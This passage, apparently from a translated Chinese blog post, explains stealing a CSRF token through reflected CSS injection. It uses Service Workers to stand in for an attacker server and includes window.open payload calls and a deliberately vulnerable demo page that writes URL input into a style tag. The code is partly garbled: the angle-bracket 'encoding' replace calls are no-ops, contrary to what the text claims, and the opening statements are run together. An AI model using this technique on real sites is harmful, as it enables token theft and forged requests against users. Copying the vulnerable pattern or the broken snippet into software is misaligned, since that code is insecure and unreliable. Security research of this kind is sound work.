var win2=window.open('https://security.love/anything', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")var win2=window.open(`https://security.love/cssInjection/victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
沒有后端服務器
在CureSec的文章中描述了將數據傳輸到后端服務器,但由于CSRF是針對客戶端的攻擊,因此如果我們能想出一種不需要服務器的方法,那么就可以為我們節省大量的開銷和簡化我們的操作。
為了接收受害者客戶端加載資源,我們可以利用Service Workers來攔截和讀取請求數據。Service Workers目前只適用于同源請求,在我的演示中受害者和攻擊者頁面已處于同一源上。
不過不久后,chrome很可能會合并這個實驗性的功能,允許Service Workers攔截跨域請求。
這樣,就可以確保我們在客戶端的攻擊100%的執行,并強制用戶在10秒內點擊鏈接執行CSRF攻擊,演示如下:
Demo
如上所述,因為我并不想運行一個web服務器,所以我使用service workers攔截和模擬服務器端組件。目前,該演示只適用于Chrome瀏覽器。
首先,我創建了一個易受攻擊的目標,它存在一個基于DOM的CSS注入漏洞,并在頁面放置了一個敏感token。我還對腳本標簽添加了一些保護措施,對左尖括號和右尖括號進行了編碼。
<form action="https://security.love" id="sensitiveForm"> <input type="hidden" id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i"></form><script src="mockingTheBackend.js"></script><script> var fragment=decodeURIComponent(window.location.href.split("?injection=")[1]); var htmlEncode=fragment.replace(/</g,"<").replace(/>/g,">"); document.write("<style>" + htmlEncode + "</style>");</script>
接下來,我們將強制加載受害者的CSS,并且使用上述方法,可一次竊取(猜解)一個敏感字符。
在接收端,我已經定義了一個攔截請求的service worker,并通過post-message將它們發送回域,然后我們將token存儲在本地存儲中以供后續使用。你也可以想象一個后端Web服務器,通過Web套接字或輪詢將CSRF token回發給攻擊者域。
目前該測試僅支持CHROME:
demo
如果你的瀏覽器支持的話,只需點擊打開頁面任意位置,你將看到CSRF token將逐一被猜解出來。
結語
有趣的是,反射型CSS注入實際上比存儲型CSS注入更致命,因為存儲型CSS注入需要一個服務器在受害者渲染之前來更新CSS。
一段時間以來,CSS注入在嚴重程度上來回變化。過去IE瀏覽器是允許用戶在CSS中執行Javascript代碼的。這個演示也從某種程度上表明了CSS注入,以及在你的域上渲染不受信任的CSS仍會導致嚴重的安全問題。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。